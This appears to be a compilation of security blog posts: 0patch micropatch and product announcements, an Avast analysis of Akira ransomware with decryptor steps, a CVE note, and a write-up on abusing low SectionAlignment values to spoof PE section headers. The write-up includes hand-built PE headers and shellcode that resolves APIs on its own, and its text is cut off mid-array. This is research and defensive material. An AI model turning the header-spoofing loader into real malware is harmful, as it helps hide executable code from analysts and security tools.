January 2023 Windows Updates brought a fix for CVE-2023-21541, a local privilege elevation in Task Scheduler. The vulnerability was reported to Microsoft by Ben Lincoln of Bishop Fox.

In April, Ben published a detailed analysis of this issue, which allowed us to reproduce the issue and create a micropatch for Windows computers that haven't received an official fix from Microsoft.

The vulnerability is easy to understand: if a scheduled task contains an environment variable in its executable path, expansion of this variable may result in double quotes around the path being lost, which could then lead to the "unquoted path" vulnerability.

On the other hand, the issue is not so easy to exploit, assuming that the local attacker does not have administrative privileges (why would they need a local privilege elevation vulnerability if they did?). The first condition is that a scheduled task must already exist on the system whose path to the executable contains an environment variable, and the second condition is that the attacker is able to create a malicious executable called program.exe in the root of C: drive. The latter is, by default, only allowed for administrators and system, so the computer would have to be in some custom configuration.

Nevertheless, we decided to patch this, since at least a couple of our users may have both these conditions fulfilled. While still-supported Windows systems have already received the official vendor fix for this vulnerability, there are Windows systems out there that aren't receiving security fixes from Microsoft anymore. In order to protect these systems, we have created our own micropatches for this vulnerability, which are available through the 0patch service.

Our patch is functionally similar to Microsoft's, but in our case applying the patch doesn't require a restart of the Task Scheduler service (while Microsoft's does).

Micropatch Availability

The micropatch was written for the following security-adopted versions of Windows with all available Windows Updates installed:

  1. Windows 10 v2004
  2. Windows 10 v1909
  3. Windows 10 v1809
  4. Windows 10 v1803
Windows 7 and Server 2008 R2 are not affected by this issue.

This micropatch has already been distributed to, and applied on, all online 0patch Agents in PRO or Enterprise accounts (unless Enterprise group settings prevent that). 

Vulnerabilities like this one get discovered on a regular basis, and attackers know about them all. If you're using Windows that aren't receiving official security updates anymore, 0patch will make sure these vulnerabilities won't be exploited on your computers - and you won't even have to know or care about these things.

If you're new to 0patch, create a free account in 0patch Central, then install and register 0patch Agent from, and email [email protected] for a trial. Everything else will happen automatically. No computer reboot will be needed.

To learn more about 0patch, please visit our Help Center

We'd like to thank Ben Lincoln of Bishop Fox for sharing their analysis, which allowed us to create a micropatch and protect our users against this attack. We also encourage all security researchers to privately share their analyses with us for micropatching.


Decrypted: Akira Ransomware

Researchers for Avast have developed a decryptor for the Akira ransomware and released it for public download. The Akira ransomware appeared in March 2023 and since then, the gang claims successful attacks on various organizations in the education, finance and real estate industries, amongst others.

Skip to how to use the Akira Ransomware Decryptor

Note that this ransomware is not related to the Akira ransomware discovered by Karsten Hahn in 2017 and our decryptor cannot be used to decrypt files from this old variant.

The Akira ransomware comes as a 64-bit Windows binary written for Windows operating system. It is written in C++ with heavy support from C++ libraries. Additionally, Boost library was used to implement the asynchronous encryption code. The binary is linked by Microsoft Linker version 14.35. 

In June 2023, a security researcher rivitna published a sample that is compiled for Linux. The Linux version is 64-bit and uses the Boost library. 

Akira Encryption Schema 

During the run, the ransomware generates a symmetric encryption key using CryptGenRandom(), which is the random number generator implemented by Windows CryptoAPI. Files are encrypted by Chacha 2008 (D. J. Bernstein’s implementation).  

The symmetric key is encrypted by the RSA-4096 cipher and appended to the end of the encrypted file. Public key is hardcoded in the ransomware binary and differs per sample. 

Exclusion List 

When searching files for encryption, Akira is not especially fussy. Whilst ransomware strains usually have a list of file types to encrypt, Akira has a list of files not to encrypt: 

  • .exe 
  • .dll 
  • .lnk 
  • .sys 
  • .msi 
  • akira_readme.txt 

Furthermore, there are folders that are always ignored by Akira: 

  • winnt 
  • temp 
  • thumb
  • $Recycle.Bin 
  • System Volume Information 
  • Boot 
  • Windows 
  • Trend Micro 

There is even the legacy winnt folder, which was used as default folder for installation of Windows 2000. 

Encryption Schema for Small Files 

Files are encrypted depending on their size. For files of 2,000,000 bytes and smaller, the ransomware encrypts the first half of the file. The structure of such an encrypted file is as follows: 

Block typeSize
Encrypted BlockFile Size / 2
Plain Text BlockFile Size / 2
File Footer534 bytes

Encryption Schema for Large Files

For files sizes greater than 2,000,000 bytes, Akira encrypts four blocks. First, the size of a full block is calculated (see Figure 1).

Figure 1: Akira’s calculation of full encryption block size.

The size of the encrypted part of the block is then calculated (see Figure 2).

Figure 2: Akira’s calculation of the size of encryption portion of block.

The layout of an encrypted file is then created (see Figure 3).

Block typeSize
Encrypted Block #1EncryptedLength
Plain Text BlockBlockLength – EncryptedLength
Encrypted Block #2EncryptedLength
Plain Text BlockBlockLength – EncryptedLength
Encrypted Block #3EncryptedLength
Plain Text BlockBlockLength – EncryptedLength
Encrypted Block #4EncryptedLength
Plain Text BlockRest of the file
File Footer534 bytes
Figure 3: Layout of encrypted file.

The structure of the file footer can be described by the following structure in C language:

Figure 4: File footer structure.

Encrypted files can be recognized by the extension .akira. A file named akira_readme.txt – the ransom note – is dropped in each folder (see Figure 5).

Figure 5: Akira ransom note file.

The ransom note mentions two TOR sites. In the first one (Figure 6), the user can list the hacked companies; in the second, victims are instructed on how to make payment (Figure 7).

Figure 6: TOR site listing and describing victim company.
Figure 7: Akira TOR site instructing victim on how to pay ransom.

Linux Version of Akira

The Linux version of the Akira ransomware works identically like its Windows counterpart. Encrypted files have the same extension and the same encryption schema. Obviously, Windows CryptoAPI is not available on Linux, so the ransomware authors used Crypto++ library to cover the parts that are handled by CryptoAPI in Windows.

Our team is currently developing a Linux version of our decryptors. In the meantime, the Windows version of the decryptor can be used to decrypt files encrypted by the Linux version of the ransomware. Please use WINE layer to run the decryptor under Linux.

Similarities to Conti

Akira has a few similarities to the Conti v2 ransomware, which may indicate that the malware authors were at least inspired by the leaked Conti sources. Commonalities include:

  1. List of file type exclusions. Akira ignores files with the same extensions as Conti, except that there’s akira_readme.txt instead of R3ADM3.txt.
  2. List of directory exclusions. Again, Akira ignores the same folders as Conti, including winnt and Trend Micro, which makes Trend Micro’s default installation folder especially resilient against both ransomware strains.
  3. The structure of the Akira file tail is equal to the file tail appended by Conti (see Figure 8)
Figure 8: Conti ransomware file tail.

The member variable bEncryptType is set to 0x24, 0x25, 0x26 by Conti version 2, Akira uses 0x32.

  1. The implementation of ChaCha 2008 used by Akira ransomware is the same as the one used by Conti ransomware.
  2. The code for key generation (two calls to CryptGenRandom followed by CryptEncrypt) resembles Conti’s key generation function.

How to use the Avast decryption tool to decrypt files encrypted by the ransomware

Please, read the instructions carefully. The decryption success rate will depend on it. If you don’t like reading manuals, at least read the instructions about the file pair.

1. The first step is to download the decryptor binary. Avast provides a 64-bit decryptor, as the ransomware is also a 64-bit and can’t run on 32-bit Windows. If you have no choice but to use 32-bit applications, you may download 32-bit decryptor here.

2. Run the executable file, preferably as an administrator. It starts as a wizard, leading you through the configuration of the decryption process.

3. On the initial page, we have a link to the license information. Click the Next button when you are ready to start.

4. On the next page, select the list of locations you want to be searched for and decrypted. By default, it has a list of all local drives:

5. On the following page, you need to supply an example of a file in its original form and then one encrypted by Akira ransomware. Type both names of the files. You can also drag & drop files from Windows Explorer to the wizard page.

It is extremely important to pick a pair of files that are as big as you can find. Due to Akira’s block size calculation, there may be dramatic difference on the size limit even for files that differ by a size of 1 byte.

When you click Next, the decryption tool will carefully examine the file pair and tells you what the biggest decryptable file is. In general, the size limit should be the same as the size of the original file:

6. The next page is where the password cracking process takes place. Click Start when you are ready to begin. This process usually only takes a few seconds but will require a large amount of system memory. This is why we strongly recommend using the 64-bit version of the decryption tool.

Once the password is found, you can continue to decrypt all the encrypted files on your PC by clicking Next.

7. On the final page, you can opt-in to back up your encrypted files. These backups may help if anything goes wrong during the decryption process. This choice is selected by default, which we recommend. After clicking Decrypt the decryption process begins. Let the decryptor work and wait until it finishes decrypting all of your files.

For questions or comments about the Avast decryptor, email [email protected].

IOCs (indicators of compromise)

Windows versions


Linux version


The post Decrypted: Akira Ransomware appeared first on Avast Threat Labs.

New 0patch Central, New Security Features



Dear 0patch friends,

We're happy to share with you that four new highly asked-for features have been added to 0patch Central:

Multi-factor Authentication

You can now protect your 0patch account with multi-factor authentication (MFA). Use any authenticator app to configure MFA in your user profile and store recovery codes in a safe place in case you lose access to the app. This feature is available in Free, Pro, and Enterprise accounts.

Authentication Options

Select which authentication methods can be used for logging in to 0patch Central; choose between "Email and Password" and "Single sign-on", and specify whether multi-factor authentication ("MFA") is required for all users in the account. Find this feature under Account -> Security in Enterprise accounts.

Password Policy

Set the password policy for users in your account; users will be forced to change their password upon next login if needed. Find this feature under Account -> Security in Enterprise accounts..

IP Address Restrictions

Specify a set of IP addresses or subnets from which your 0patch Central account can be accessed. This setting does not affect 0patch Agents - they can always sync from anywhere. Find this feature under Account -> Security in Enterprise accounts..

Upcoming Security-Adoption of Windows Server 2012 

In the spirit of supporting legacy Windows versions and Microsoft products, we're happy to announce an upcoming adoption of Windows Server 2012, which goes out of official support in October 2023. If you're using Windows Server 2012 and would like to keep doing so securely, contact us at [email protected].

Are your friends or peers operating Windows systems? Do them a favor and tell them about 0patch.

Thank you!

Your 0patch Team


Blind TCP/IP hijacking is still alive! After 13 years, Windows 7/XP/2K/9x (and not only) full blind TCP/IP hijacking bug finally got an allocated CVE-2023-34367 (thanks to MITRE). Interestingly, The Pwnie Awards nomination for this research and the published write-up + PoC didn’t help to get it sooner 😉

More information about that bug I described in my blogpost on January 2021:

More information about CVE is available on the MITRE website:

Information on The Pwnie Awards nomination for this bug and research can be found here:

Port Swigger also covered that bug in their article here:

After 13 years we can finally use the CVE to identify this important (at least from my perspective) vulnerability!


Virtual Trails: Unmasking commercial virtualization softwares through virtualization faults.

Disclaimer This post is entirely constructed for educational purposes only. Introduction In this era of software development, protecting your code from being analyzed is a huge matter where many software developers decide to use many techniques to thwart an analyzer’s efforts towards analyzing a said program. Many developers reside to use commercial code protection softwares such as VMProtect / Themida

0patch Security-Adopts Windows 10 v20H2 to Keep it Running Securely




Last month brought the last security updates for Windows 10 version 20H2. What if your organization is still using it and doesn't want to - or can't - upgrade it yet?

Don't worry, we have previously security-adopted Windows 10 v1803 and v1809, Windows 10 v2004 and v1909, and Windows 10 v21H1.

Now we're security-adopting version 20H2.

If you're running Windows 10 v20H2 in your organization, all you need to do is install 0patch Agent on these computers and register it to an account with PRO or Enterprise subscription, and you'll start receiving critical security patches as soon as we issue them.

These micropatches will be included in 0patch PRO and Enterprise licenses along with all other micropatches we're issuing - which means that users protecting their Windows 10 v20H2 with 0patch will also receive our micropatches for "0day" vulnerabilities in various products.

In order to have our micropatches applied, Windows 10 v20H2 will have to have May 2023 Windows Updates (the last official updates for this version) installed.

We welcome all interested organizations to contact [email protected] for information about pricing, deployment, or setting up a trial.

P.S.: We're getting close to Windows Server 2012 end of official support by Microsoft in October 2023. You guessed it, we're going to security-adopt this server as well, in case you're already getting nervous about that. This is a good time for you to start a free 0patch trial, so send an email to [email protected].

To learn more about 0patch, please visit our Help Center.

Abusing undocumented features to spoof PE section headers


Some time ago, I accidentally came across some interesting behaviour in PE files while debugging an unrelated project. I noticed that setting the SectionAlignment value in the NT header to a value lower than the page size (4096) resulted in significant differences in the way that the image is mapped into memory. Rather than following the usual procedure of parsing the section table to construct the image in memory, the loader appeared to map the entire file, including the headers, into memory with read-write-execute (RWX) permissions - the individual section headers were completely ignored.

As a result of this behaviour, it is possible to create a PE executable without any sections, yet still capable of executing its own code. The code can even be self-modifying if necessary due to the write permissions that are present by default.

One way in which this mode could potentially be abused would be to create a fake section table - on first inspection, this would appear to be a normal PE module containing read-write/read-only data sections, but when launched, the seemingly NX data becomes executable.

While I am sure that this technique will have already been discovered (and potentially abused) in the past, I have been unable to find any documentation online describing it. MSDN does briefly mention that the SectionAlignment value can be less than the page size, but it doesn’t elaborate any further on the implications of this.

Inside the Windows kernel

A quick look in the kernel reveals what is happening. Within MiCreateImageFileMap, we can see the parsing of PE headers - notably, if the SectionAlignment value is less than 0x1000, an undocumented flag (0x200000) is set prior to mapping the image into memory:

	if(v29->SectionAlignment < 0x1000)
		if((SectionFlags & 0x80000) != 0)
			v17 = 0xC000007B;
			MiLogCreateImageFileMapFailure(v36, v39, *(unsigned int *)(v29 + 64), DWORD1(v99));
			ImageFailureReason = 55;
			goto LABEL_81;
		if(!MiLegacyImageArchitecture((unsigned __int16)v99))
			v17 = 0xC000007B;
			ImageFailureReason = 56;
			goto LABEL_81;
		SectionFlags |= 0x200000;
	v40 = MiBuildImageControlArea(a3, v38, v29, (unsigned int)&v99, SectionFlags, (__int64)&FileSize, (__int64)&v93);

If the aforementioned flag is set, MiBuildImageControlArea treats the entire file as one single section:

	if((SectionFlags & 0x200000) != 0)
		SectionCount = 1;
		SectionCount = a4->NumberOfSections + 1;
	v12 = MiAllocatePool(64, 8 * (7 * SectionCount + (((unsigned __int64)(unsigned int)MiFlags >> 13) & 1)) + 184, (SectionFlags & 0x200000) != 0 ? 0x61436D4D : 0x69436D4D);

As a result, the raw image is mapped into memory with all PTEs assigned MM_EXECUTE_READWRITE protection. As mentioned previously, the IMAGE_SECTION_HEADER list is ignored, meaning a PE module using this mode can have a NumberOfSections value of 0. There are no obvious size restrictions on PE modules using this mode either - the loader will allocate memory based on the SizeOfImage field and copy the file contents accordingly. Any excess memory beyond the size of the file will remain blank.

Demonstration #1 - Executable PE with no sections

The simplest demonstration of this technique would be to create a generic “loader” for position-independent code. I have created the following sample headers by hand for testing:

// (64-bit EXE headers)
BYTE bHeaders64[328] =
	0x4D, 0x5A, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
	0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
	0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
	0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
	0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
	0x40, 0x00, 0x00, 0x00, 0x50, 0x45, 0x00, 0x00, 0x64, 0x86, 0x00, 0x00,
	0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
	0xF0, 0x00, 0x22, 0x00, 0x0B, 0x02, 0x0E, 0x1D, 0x00, 0x00, 0x00, 0x00,
	0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x48, 0x01, 0x00, 0x00,
	0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x40, 0x01, 0x00, 0x00, 0x00,
	0x00, 0x02, 0x00, 0x00, 0x00, 0x02, 0x00, 0x00, 0x06, 0x00, 0x00, 0x00,
	0x00, 0x00, 0x00, 0x00, 0x06, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
	0x00, 0x00, 0x10, 0x00, 0x48, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
	0x02, 0x00, 0x60, 0x81, 0x00, 0x00, 0x10, 0x00, 0x00, 0x00, 0x00, 0x00,
	0x00, 0x10, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x10, 0x00,
	0x00, 0x00, 0x00, 0x00, 0x00, 0x10, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
	0x00, 0x00, 0x00, 0x00, 0x10, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
	0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
	0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
	0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
	0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
	0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
	0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
	0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
	0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
	0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
	0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
	0x00, 0x00, 0x00, 0x00,

	// (code goes here)

BYTE bHeaders32[304] =
	0x4D, 0x5A, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
	0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
	0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
	0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
	0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
	0x40, 0x00, 0x00, 0x00, 0x50, 0x45, 0x00, 0x00, 0x4C, 0x01, 0x00, 0x00,
	0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
	0xE0, 0x00, 0x02, 0x01, 0x0B, 0x01, 0x0E, 0x1D, 0x00, 0x00, 0x00, 0x00,
	0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x30, 0x01, 0x00, 0x00,
	0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x40, 0x00,
	0x00, 0x02, 0x00, 0x00, 0x00, 0x02, 0x00, 0x00, 0x06, 0x00, 0x00, 0x00,
	0x00, 0x00, 0x00, 0x00, 0x06, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
	0x00, 0x00, 0x10, 0x00, 0x30, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
	0x02, 0x00, 0x40, 0x81, 0x00, 0x00, 0x10, 0x00, 0x00, 0x10, 0x00, 0x00,
	0x00, 0x00, 0x10, 0x00, 0x00, 0x10, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
	0x10, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
	0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
	0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
	0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
	0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
	0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
	0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
	0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
	0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
	0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
	0x00, 0x00, 0x00, 0x00,

	// (code goes here)

These headers contain a SectionAlignment value of 0x200 (rather than the usual 0x1000), a SizeOfImage value of 0x100000 (1MB), a blank section table, and an entry-point positioned immediately after the headers. Aside from these values, there is nothing special about the remaining fields:

(DOS Header)
   e_magic                       : 0x5A4D
   e_lfanew                      : 0x40
(NT Header)
   Signature                     : 0x4550
   Machine                       : 0x8664
   NumberOfSections              : 0x0
   TimeDateStamp                 : 0x0
   PointerToSymbolTable          : 0x0
   NumberOfSymbols               : 0x0
   SizeOfOptionalHeader          : 0xF0
   Characteristics               : 0x22
   Magic                         : 0x20B
   MajorLinkerVersion            : 0xE
   MinorLinkerVersion            : 0x1D
   SizeOfCode                    : 0x0
   SizeOfInitializedData         : 0x0
   SizeOfUninitializedData       : 0x0
   AddressOfEntryPoint           : 0x148
   BaseOfCode                    : 0x0
   ImageBase                     : 0x140000000
   SectionAlignment              : 0x200
   FileAlignment                 : 0x200
   MajorOperatingSystemVersion   : 0x6
   MinorOperatingSystemVersion   : 0x0
   MajorImageVersion             : 0x0
   MinorImageVersion             : 0x0
   MajorSubsystemVersion         : 0x6
   MinorSubsystemVersion         : 0x0
   Win32VersionValue             : 0x0
   SizeOfImage                   : 0x100000
   SizeOfHeaders                 : 0x148
   CheckSum                      : 0x0
   Subsystem                     : 0x2
   DllCharacteristics            : 0x8160
   SizeOfStackReserve            : 0x100000
   SizeOfStackCommit             : 0x1000
   SizeOfHeapReserve             : 0x100000
   SizeOfHeapCommit              : 0x1000
   LoaderFlags                   : 0x0
   NumberOfRvaAndSizes           : 0x10
   DataDirectory[0]              : 0x0, 0x0
   DataDirectory[15]             : 0x0, 0x0
(Start of code)

For demonstration purposes, we will be using some position-independent code that calls MessageBoxA. As the base headers lack an import table, this code must locate and load all dependencies manually - user32.dll in this case. This same payload can be used in both 32-bit and 64-bit environments:

BYTE bMessageBox[939] =
	0x8B, 0xC4, 0x6A, 0x00, 0x2B, 0xC4, 0x59, 0x83, 0xF8, 0x08, 0x0F, 0x84,
	0xA0, 0x01, 0x00, 0x00, 0x55, 0x8B, 0xEC, 0x83, 0xEC, 0x3C, 0x64, 0xA1,
	0x30, 0x00, 0x00, 0x00, 0x33, 0xD2, 0x53, 0x56, 0x57, 0x8B, 0x40, 0x0C,
	0x33, 0xDB, 0x21, 0x5D, 0xF0, 0x21, 0x5D, 0xEC, 0x8B, 0x40, 0x1C, 0x8B,
	0x00, 0x8B, 0x78, 0x08, 0x8B, 0x47, 0x3C, 0x8B, 0x44, 0x38, 0x78, 0x03,
	0xC7, 0x8B, 0x48, 0x24, 0x03, 0xCF, 0x89, 0x4D, 0xE8, 0x8B, 0x48, 0x20,
	0x03, 0xCF, 0x89, 0x4D, 0xE4, 0x8B, 0x48, 0x1C, 0x03, 0xCF, 0x89, 0x4D,
	0xF4, 0x8B, 0x48, 0x14, 0x89, 0x4D, 0xFC, 0x85, 0xC9, 0x74, 0x5F, 0x8B,
	0x70, 0x18, 0x8B, 0xC1, 0x89, 0x75, 0xF8, 0x33, 0xC9, 0x85, 0xF6, 0x74,
	0x4C, 0x8B, 0x45, 0xE8, 0x0F, 0xB7, 0x04, 0x48, 0x3B, 0xC2, 0x74, 0x07,
	0x41, 0x3B, 0xCE, 0x72, 0xF0, 0xEB, 0x37, 0x8B, 0x45, 0xE4, 0x8B, 0x0C,
	0x88, 0x03, 0xCF, 0x74, 0x2D, 0x8A, 0x01, 0xBE, 0x05, 0x15, 0x00, 0x00,
	0x84, 0xC0, 0x74, 0x1F, 0x6B, 0xF6, 0x21, 0x0F, 0xBE, 0xC0, 0x03, 0xF0,
	0x41, 0x8A, 0x01, 0x84, 0xC0, 0x75, 0xF1, 0x81, 0xFE, 0xFB, 0xF0, 0xBF,
	0x5F, 0x75, 0x74, 0x8B, 0x45, 0xF4, 0x8B, 0x1C, 0x90, 0x03, 0xDF, 0x8B,
	0x75, 0xF8, 0x8B, 0x45, 0xFC, 0x42, 0x3B, 0xD0, 0x72, 0xA9, 0x8D, 0x45,
	0xC4, 0xC7, 0x45, 0xC4, 0x75, 0x73, 0x65, 0x72, 0x50, 0x66, 0xC7, 0x45,
	0xC8, 0x33, 0x32, 0xC6, 0x45, 0xCA, 0x00, 0xFF, 0xD3, 0x8B, 0xF8, 0x33,
	0xD2, 0x8B, 0x4F, 0x3C, 0x8B, 0x4C, 0x39, 0x78, 0x03, 0xCF, 0x8B, 0x41,
	0x20, 0x8B, 0x71, 0x24, 0x03, 0xC7, 0x8B, 0x59, 0x14, 0x03, 0xF7, 0x89,
	0x45, 0xE4, 0x8B, 0x41, 0x1C, 0x03, 0xC7, 0x89, 0x75, 0xF8, 0x89, 0x45,
	0xE8, 0x89, 0x5D, 0xFC, 0x85, 0xDB, 0x74, 0x7D, 0x8B, 0x59, 0x18, 0x8B,
	0x45, 0xFC, 0x33, 0xC9, 0x85, 0xDB, 0x74, 0x6C, 0x0F, 0xB7, 0x04, 0x4E,
	0x3B, 0xC2, 0x74, 0x22, 0x41, 0x3B, 0xCB, 0x72, 0xF3, 0xEB, 0x5A, 0x81,
	0xFE, 0x6D, 0x07, 0xAF, 0x60, 0x8B, 0x75, 0xF8, 0x75, 0x8C, 0x8B, 0x45,
	0xF4, 0x8B, 0x04, 0x90, 0x03, 0xC7, 0x89, 0x45, 0xEC, 0xE9, 0x7C, 0xFF,
	0xFF, 0xFF, 0x8B, 0x45, 0xE4, 0x8B, 0x0C, 0x88, 0x03, 0xCF, 0x74, 0x35,
	0x8A, 0x01, 0xBE, 0x05, 0x15, 0x00, 0x00, 0x84, 0xC0, 0x74, 0x27, 0x6B,
	0xF6, 0x21, 0x0F, 0xBE, 0xC0, 0x03, 0xF0, 0x41, 0x8A, 0x01, 0x84, 0xC0,
	0x75, 0xF1, 0x81, 0xFE, 0xB4, 0x14, 0x4F, 0x38, 0x8B, 0x75, 0xF8, 0x75,
	0x10, 0x8B, 0x45, 0xE8, 0x8B, 0x04, 0x90, 0x03, 0xC7, 0x89, 0x45, 0xF0,
	0xEB, 0x03, 0x8B, 0x75, 0xF8, 0x8B, 0x45, 0xFC, 0x42, 0x3B, 0xD0, 0x72,
	0x89, 0x33, 0xC9, 0xC7, 0x45, 0xC4, 0x54, 0x65, 0x73, 0x74, 0x51, 0x8D,
	0x45, 0xC4, 0x88, 0x4D, 0xC8, 0x50, 0x50, 0x51, 0xFF, 0x55, 0xF0, 0x6A,
	0x7B, 0x6A, 0xFF, 0xFF, 0x55, 0xEC, 0x5F, 0x5E, 0x5B, 0xC9, 0xC3, 0x90,
	0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90,
	0x48, 0x89, 0x5C, 0x24, 0x08, 0x48, 0x89, 0x6C, 0x24, 0x10, 0x48, 0x89,
	0x74, 0x24, 0x18, 0x48, 0x89, 0x7C, 0x24, 0x20, 0x41, 0x54, 0x41, 0x56,
	0x41, 0x57, 0x48, 0x83, 0xEC, 0x40, 0x65, 0x48, 0x8B, 0x04, 0x25, 0x60,
	0x00, 0x00, 0x00, 0x33, 0xFF, 0x45, 0x33, 0xFF, 0x45, 0x33, 0xE4, 0x45,
	0x33, 0xC9, 0x48, 0x8B, 0x48, 0x18, 0x48, 0x8B, 0x41, 0x30, 0x48, 0x8B,
	0x08, 0x48, 0x8B, 0x59, 0x10, 0x48, 0x63, 0x43, 0x3C, 0x8B, 0x8C, 0x18,
	0x88, 0x00, 0x00, 0x00, 0x48, 0x03, 0xCB, 0x8B, 0x69, 0x24, 0x44, 0x8B,
	0x71, 0x20, 0x48, 0x03, 0xEB, 0x44, 0x8B, 0x59, 0x1C, 0x4C, 0x03, 0xF3,
	0x8B, 0x71, 0x14, 0x4C, 0x03, 0xDB, 0x85, 0xF6, 0x0F, 0x84, 0x80, 0x00,
	0x00, 0x00, 0x44, 0x8B, 0x51, 0x18, 0x33, 0xC9, 0x45, 0x85, 0xD2, 0x74,
	0x69, 0x48, 0x8B, 0xD5, 0x0F, 0x1F, 0x40, 0x00, 0x0F, 0xB7, 0x02, 0x41,
	0x3B, 0xC1, 0x74, 0x0D, 0xFF, 0xC1, 0x48, 0x83, 0xC2, 0x02, 0x41, 0x3B,
	0xCA, 0x72, 0xED, 0xEB, 0x4D, 0x45, 0x8B, 0x04, 0x8E, 0x4C, 0x03, 0xC3,
	0x74, 0x44, 0x41, 0x0F, 0xB6, 0x00, 0x33, 0xD2, 0xB9, 0x05, 0x15, 0x00,
	0x00, 0x84, 0xC0, 0x74, 0x35, 0x0F, 0x1F, 0x00, 0x6B, 0xC9, 0x21, 0x8D,
	0x52, 0x01, 0x0F, 0xBE, 0xC0, 0x03, 0xC8, 0x42, 0x0F, 0xB6, 0x04, 0x02,
	0x84, 0xC0, 0x75, 0xEC, 0x81, 0xF9, 0xFB, 0xF0, 0xBF, 0x5F, 0x75, 0x08,
	0x41, 0x8B, 0x3B, 0x48, 0x03, 0xFB, 0xEB, 0x0E, 0x81, 0xF9, 0x6D, 0x07,
	0xAF, 0x60, 0x75, 0x06, 0x45, 0x8B, 0x23, 0x4C, 0x03, 0xE3, 0x41, 0xFF,
	0xC1, 0x49, 0x83, 0xC3, 0x04, 0x44, 0x3B, 0xCE, 0x72, 0x84, 0x48, 0x8D,
	0x4C, 0x24, 0x20, 0xC7, 0x44, 0x24, 0x20, 0x75, 0x73, 0x65, 0x72, 0x66,
	0xC7, 0x44, 0x24, 0x24, 0x33, 0x32, 0x44, 0x88, 0x7C, 0x24, 0x26, 0xFF,
	0xD7, 0x45, 0x33, 0xC9, 0x48, 0x8B, 0xD8, 0x48, 0x63, 0x48, 0x3C, 0x8B,
	0x94, 0x01, 0x88, 0x00, 0x00, 0x00, 0x48, 0x03, 0xD0, 0x8B, 0x7A, 0x24,
	0x8B, 0x6A, 0x20, 0x48, 0x03, 0xF8, 0x44, 0x8B, 0x5A, 0x1C, 0x48, 0x03,
	0xE8, 0x8B, 0x72, 0x14, 0x4C, 0x03, 0xD8, 0x85, 0xF6, 0x74, 0x77, 0x44,
	0x8B, 0x52, 0x18, 0x0F, 0x1F, 0x44, 0x00, 0x00, 0x33, 0xC0, 0x45, 0x85,
